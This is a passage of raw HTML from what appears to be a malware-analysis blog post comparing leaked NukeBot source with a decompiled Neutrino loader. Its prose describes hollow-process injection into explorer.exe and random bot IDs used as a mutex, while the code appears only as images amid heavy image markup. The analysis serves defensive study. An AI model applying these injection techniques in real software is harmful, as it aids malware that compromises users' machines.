https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png" width="484" height="640" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:640,&quot;width&quot;:484,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXZDc11fpopruZofqjPn6SJtDSjfRzCSbTvoc-dgbaS3H2ry28k9MOYtfFENFFSxBT8XA1Sfjt5IFFo6RrpOIqnDZS_xTvpWt7nFvCopKNUWaNx8PFVQtkY6ysPDNHXT4P3P5UrCtC5y0/s640/nukebot_vs_neutrino_injectdll.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><h4></h4><h4>3.2. Hollow-process explorer.exe</h4><p> The following parts of code from the neutrino and nukebot loader get the path of explorer.exe, create an instance of the process, and inject it (hollow process).</p><p> From NukeBot leaked source code:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png" width="640" height="196" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:196,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6k1yFVKT3k7jEe8-dTUsweGSudri7L4KBMyOP39m7U-Zwhga0_aJjP19qEgAbv7kaxucfz7cfXaV9nEYzNPZ7RWlPWmmFfeM-gAOFtisykyhlQtmngOqXfCgr6F72kvHc35sE8ozSs4/s640/nukebot_leaked_inject.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> From Neutrino analyzed sample's loader (IDA decompiled):</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png" width="640" height="234" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:234,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPZLBfDSvHD9yKuVk6BL-oO7tLO4exqDsxGBSgmZrinU17Dj3KzEz1jMAxT8Yy7yZsWfUI2m3STSd9mpnFJkx3ybmsE3vNvOg7n_JL3fOA7SmjRhCbjo6pDbR3R8e63jMA075OhpO8oWQ/s640/neutrino_inject.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> The code used to inject processes is quite similar between the leaked source code and the analyzed version:</p><p> From Nukebot leaked source code:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png" width="640" height="216" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:216,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3aTeW-ZxqgjkkJOWCNqDz4uK2-EQbvfylVuZRk1KymCyFt21No2nqC-RgF4JC08QY31U3x91s4GRyl5IjmZqjPJCKgvDJkgut1Ug_rggfJ7Bwdhpbxet75SOb7M2ifKiHAFdP8Lq-Vsk/s640/nukebot_injection_leaked_source.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> From Neutrino analyzed sample's loader (IDA decompiled):</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png" width="640" height="224" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:224,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_u98kXkrTqU8iotVug7Pgvd7cwSzJKz-lomPC_pfKhRiawqRLSAtJyEPtg2enVTNTeuwinQaHUYrILMwiBqlNt-09hmYW-hkJd6KoFWN2oP4U0WDFVkXkgeFe0WG2zHZBYiq9JeUBX98/s640/nukebot_injection.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><h4></h4><h4>3.3. Random BotId</h4><p> Both, leaked NukeBot and Neutrino, generate a random GUID that is used as botid and to create a mutex that the malware uses to know it is already running.</p><p> From NukeBot leaked code:</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png" width="640" height="400" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:400,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7GMZQITy0i83j9cFDnhTbaH1IKnspDvYZut4aWnGqChTXn9jkB5x_YguWoU5FyAL_ckQp1W71Az7D39Ygod-srKAUS_KDDNjuTYDGIPf2ibqKNTI-F1olQmuLBvyhwupfS26_XT7dp4c/s640/nukebot_leaked_get_botid.png 848w, 